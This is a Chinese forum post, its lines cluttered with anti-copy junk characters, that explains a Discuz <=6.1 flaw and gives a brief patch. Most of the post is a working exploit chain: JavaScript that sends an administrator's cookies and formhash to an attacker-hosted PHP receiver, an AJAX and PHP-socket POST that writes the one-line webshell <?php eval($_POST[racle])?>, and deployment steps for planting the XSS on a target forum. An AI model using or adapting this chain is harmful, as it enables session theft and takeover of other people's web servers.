Discuz XSS得webshell
+ f% W/ b/ ^: T5 n( Y5 `/ G7 OBy racle @tian6.com
( z, j9 W. |+ i9 Y/ l2 a欢迎转帖.但请保留版权信息.0 [& B4 y* s3 M3 x
受影响版本 iscuz<=6.1.0,gbk+utf+big5
|; F) @) G y, |) E; k% L
. E- P7 s3 x7 R* P新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.. d# u' @3 Z- }$ v6 M9 K( K
8 K, U! j2 D0 V2 @; U
9 @$ a4 a. t/ [+ k, y& w3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706 Z0 P: {1 F I7 R- c; `7 q
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
" D9 E% G) \, P+ x8 }- S' ^3 f& N% p) g& s
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
7 I( a8 R% I5 t3 g本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS) q9 Q" C; B H2 j' G6 P) L0 [
' K; d, ~6 H% @! E" ]+ v
5 s- }( e& x, S# C s$ ]' F----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------1 w8 S# z+ _' {. b4 C! o. v
) e7 [; _4 A, A3 m" _* Q7 U
6 o3 t1 a+ T v) R, S1 n# bproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交., ] l, p4 \ n f( ]+ j ^/ o8 O
) G( i9 a. x9 q
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
5 Y2 e D0 {% ~8 W8 T+ J$ S2 G4 x5 D b
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.8 i0 |5 j; O' s8 D, f
. F3 O, K4 F; {
8 h% z, s3 s7 f! Z
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {& E2 h4 T# r5 f- M
( n" N1 H" Z$ B; a/ | global $runwizardfile, $runwizardhistory;7 W9 ]6 ~7 R: t' H) U
( B5 a: t! F* Z1 U; c $fp = fopen($runwizardfile, 'w');
: I8 z3 T6 C2 E2 G6 a) _) \& }# |* e6 ]$ e
fwrite($fp, serialize($runwizardhistory));
# O" w8 H0 ^. [) ^; C
* Y0 V' J5 i* l+ @ fclose($fp);
# Q4 c& A6 v3 K' l. J3 {# |2 i) v7 f* g/ R3 P- L; N6 c
}
( F( x3 N2 ?0 R6 _, Z" ^# a) f. A复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里., _; n. |( Q) t. \ Z
以下是修补的办法:function saverunwizardhistory() {
z7 ]) a" @( A1 v3 \) ^7 X% q# j# k9 Y$ o7 I6 L: J: x
global $runwizardfile, $runwizardhistory;
$ L; t! N/ M$ E5 ~+ `9 _8 E( `7 T N* v$ S
$fp = fopen($runwizardfile, 'w');
0 J* F3 c. t7 R8 p) D& F, f# W. |: n: e' c0 z) q7 X
$s = '<?php exit;?>';! k/ Q: m: T3 h. c- F2 \/ I
$ I* B/ j" A5 z $s .= serialize($runwizardhistory);$ q4 h8 c$ d- F, z0 p/ t" o
I( I1 d& j/ p, H2 s
fwrite($fp, $s);/ C, n* a' {) c
4 ?' {; b* G+ ?, f4 K+ D! v" Z4 K fclose($fp);
6 O4 O, q& n+ H' \% O% @
w# o+ p" j5 N Q4 V# C D0 r}
+ A) C2 G4 G! y( h: E5 @复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
& u* v' @+ I: M( j% ]8 H2 {9 L. W. {2 D: l; ~7 R- J a" \
! W0 H; G. C# B5 F
# y+ T, `5 r* x, X, X6 `3 Z
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------. l( v! y# H: `
' }3 T% S6 A: D
! E' J& n3 m6 s6 A. ` 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.: v$ i% \* U+ t: ~8 T2 i3 f: k& O5 v
1 K# p R, q q! Q/ x( K: e
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
* Y& e- y( K3 F7 a
6 B' m5 f8 U6 Z3 Q5 c) p+ j" y# U这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
3 W+ O0 g8 D( i. X r* W. z7 p8 c( q& m
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:2 r1 }* j' P* v9 ?- W7 v( d
, O7 S0 N* B. ^+ v8 p' @; `var url="http://目标网站/admincp.php";
& M+ j: j7 P- F; K% F* A
2 L; J k6 z- s9 e# F' j/*获得cookies*/
9 W) V8 D$ p4 n. S2 W2 ?, @0 T5 |: l# k0 p+ h" \* Y
function getURL(s) {
' E) T ]; Z2 u# Q
U5 j. e- ~* l+ Dvar image = new Image();
3 m/ ~ N% C( ?: A
8 S! ]! H! Y( Q% @, qimage.style.width = 0;% t" n8 O @, c8 M$ [" v, u8 }( H! N9 R
) h) n4 n; D) M. E' _/ A7 ?image.style.height = 0;
& U/ Y/ c; `* j- ^" m) b) s- U& g2 Y) \# q7 f
image.src = s;
4 J; _8 |; v8 n' S1 n9 a
+ [7 N% b. h N! @}. ~: {0 A3 c5 F L5 g1 W
# k! z* B: b L1 jgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php" Q1 N6 _5 _; m8 G8 h8 N: O" N) X
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
* \0 _% T, i; B0 j5 n- A6 p复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
5 M1 P' \9 f! F& y& [. ~; o. j4 I4 Y8 T, z. S- O
2 y) F, `" x. p
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";0 s; S4 Z0 s1 N- y4 u; X+ @$ S' d% F
% J$ t* k1 e8 V; a
3 H/ d! z4 f, D1 ^, G, F) r
/ P- f, K& z/ O% \2 M& N/*hash*/: K3 l- u! F1 f
* c9 I) Y/ s k& J2 Z8 pvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
& K* H8 M+ @7 Z0 m0 i/ p/ c4 W; [8 m; D
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);, I4 @$ R# j$ Y: J( c
1 i9 x" q- P% n$ ^6 ^" J& S9 NxmlHttpReq.send();" o+ a. O. O6 P5 E0 |4 |
. [) L X3 q- [, h( o) u2 v3 T
var resource = xmlHttpReq.responseText;! Q4 ^1 X( E: Z: K" q
+ r" s! i7 u0 }" Y" [var numero = resource.search(/formhash/);1 F- G, `$ D0 d8 x( L! j
. N3 C# b; b, L- k) c) b: l. g
var formhash=encodeURIComponent(resource.substr(numero+17,8));
! V0 j# F( _: K) e
1 `9 E- Q( m) h7 D
9 G8 Z1 @2 i# q& I/ `; ]- i0 G
+ P0 @, D: ~6 m# \2 gvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
; t' j" w, G! @8 r4 [7 t' y9 o x2 }6 `" i8 p) n8 p2 C
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 4 T0 C1 b8 I* T& `2 K* @
/ H1 `, `; M% U2 n1 _
xmlHttpReq.setRequestHeader("Referer", url);
+ i4 X( z" \& W5 M# k: Y
+ o9 o# `* d, }( X wxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& T% `/ m5 I, X
6 e( R! G$ U, {. D4 h( KxmlHttpReq.setrequestheader("content-length",post.length); & P+ X3 i4 p* }6 k
. s# F* h( k. f3 ^! n% g
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 9 ^( s4 c; _0 R- F2 d9 n# ]
( j' F) r5 s% ]! FxmlHttpReq.send(post);//发送数据2 _7 s2 ]! k& Z5 c z
复制代码这里HASH我假设正确,这样提交,也无须cookies
2 U1 U X9 b+ g$ I$ Z; S2 u' L- y9 u4 n0 R% E8 p4 F- D
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);, V* Q6 G3 H, `
) Z) B1 G( ~4 J, O7 r1 N2 k' \2 zif (!$sock) die("$errstr ($errno)\n");0 R9 q# \$ M0 }
: e! \% v$ j8 }( {/ D8 o* r! _4 ?! e7 f
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';7 B/ p' y- z0 D
. R/ a) G2 y9 A0 F& b; |. }3 p( }/ w0 t& W
, ?# R0 z+ Z: h5 p0 d) ]
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
: \" ^3 L. X3 s* c5 b% u5 t5 K6 T1 L% s
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");+ ~3 X/ p/ g0 i$ Z# Y
3 \6 t- s1 x5 k7 k- c
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");9 w$ W: }1 r& V- u3 l
# q* {7 g: t2 i
fwrite($sock, "Accept-Language: zh-cn\r\n");
) _8 G0 X1 ^* o( R# P
8 N4 H: u$ @9 W: p& p& D) {fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
- x- e; j. p' h
& _4 z+ s5 l0 Z a1 d4 ^% Hfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");! P" D( h7 K- I7 B) Y
& {% {, A( X: P! V1 m8 I
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");9 g' N' M" K9 f' ?7 W1 W
/ s1 \' r+ V5 y8 j, f) v
fwrite($sock, "Host: $url\r\n");
% h! `: Y, q1 m7 S. M
; @3 v$ i! }$ R3 |- F4 A. i# Ofwrite($sock, "Content-Length: ".strlen($data)."\r\n");/ [$ c5 B' N$ |4 s3 _& R
# G; e! M% D( |2 n% U% v. h8 _9 v0 P
fwrite($sock, "Connection: Keep-Alive\r\n");
! h: X2 Y4 |/ b. B; Y8 F: X
6 W6 M! T, k: @! K# |. xfwrite($sock, "Cache-Control: no-cache\r\n");
6 [* F2 Y3 O3 W# m" z, x u5 h
" M4 o' d5 f. [% H& zfwrite($sock, "Cookie:".$cookies."\r\n\r\n");9 _3 V- ?: f9 ^$ @
0 x% \) u2 h$ b3 Z3 y5 |
fwrite($sock, $data);
' s# G/ [; C' c0 f; y: C& J5 x! F$ h A* O- k
$ `: J1 ^) {# ]+ \
1 Y$ p. t a9 e! g8 n1 c
$headers = "";
5 a% C# A, Z; w% h* V3 k1 `3 B9 w) a' Q. W* o f6 q/ m
while ($str = trim(fgets($sock, 4096)))7 e- a0 I; ~% T. z8 T6 j( k
" H7 s# ]' J& x$ ]$ b
$headers .= "$str\n";/ W# a" A: s( U" \
R! _& m% J4 @' x- {: r0 ^0 T
echo "\n";
: {. a3 j3 r) \& D% y+ O8 K! R0 X& a1 Q) `
$body = "";! u8 O6 g5 E8 ]0 ?' p
/ e" u4 N) X( D0 O, I/ u/ Hwhile (!feof($sock))! R1 H( Y) @3 b. n- `
, A/ f9 s" @! a( }; m6 T, [, k
$body .= fgets($sock, 4096);
" _9 `! f! h0 P4 G. s
+ f2 N8 R& m8 Q0 m- _: xfclose($sock);
1 I% B. |/ t# J L& I3 A" X0 A+ G O
echo $body;
6 t7 H+ }6 `% q2 u) x复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^: y0 ?% N8 U8 O1 d8 ~* a& {9 r* C
& s, o0 p# Q3 z/ E' }. Y5 w
4 ? W; n5 z9 K9 A( r; v% S- K-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------: ~7 n+ m& O9 K. O
9 _' v* R: u% j! Q f
2 `0 Y2 ?' \7 e# U1 HP SOCKET利用方法首先打开racle.js
- e5 Y( i% b& w5 C
# X8 X, @' W) uvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home* ~; F8 i& G, B5 Z
8 U& S( e/ _5 e; D# ?# ^: }+ U4 M
" E& {- X4 b% n' O0 G: Q- X+ D4 H8 K; L$ u
然后打开racle@tian6.php
- n |6 Y0 ?; p% q% h' ?! l% E
. U" ^+ f* n9 ~3 |$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com8 a! w1 L# L+ v l* |6 D1 g
% R' e# H2 Z8 h5 R- Y7 Z n
- z# z c3 H' K3 d8 a
2 i# y! g. r2 y! Z如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
. A" P) J0 r: a+ H) }- t8 b
* H* s$ b. [$ z- Z! N' E4 q+ ~getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));0 ~3 P" ]1 x4 i. k" c$ z2 F
' f8 Q- w1 p4 t( u4 \" V
为5 o* Y0 F. E* ]* U1 B: }+ D
8 f3 c) v9 V+ qgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
: f6 C/ [7 B. }复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.' O( V- `1 p& b5 Y/ j7 B2 S
# K+ b! z6 {) q- I8 A8 i8 N8 S' b
8 H( x" f& e" P# e( e( g
2 R; B: C9 M+ V1 J如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:7 {( C) Q% k9 _/ w
/ p9 ^3 t. P& o7 n
var formhash=encodeURIComponent(resource.substr(numero+17,8));2 C" K+ K, H9 ?: Q
' R% c+ s/ `+ |
为) f/ a. d5 m0 B, N: ^
6 d* B2 ]9 s4 o3 G" X' o# o
var formhash=encodeURIComponent(resource.substr(numero+9,8));
' \4 F. w6 J. x) [; [4 ?' s7 M# l2 P, z复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.) [- w( y% t3 h, E7 f: ?/ _' E$ \- @
) i% d+ \8 n9 j/ E, v8 M
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
# o# l& J0 o3 u0 g$ c% I m' _* v/ B0 e* |, _
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
- g6 w9 M( g; G" q
: A+ u: j2 n/ H, C' ^: C4 _" T不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
* y' p* \7 u. @) R* f2 K* k: {
- @9 Y8 t, J! G& L; @/ p0 Z |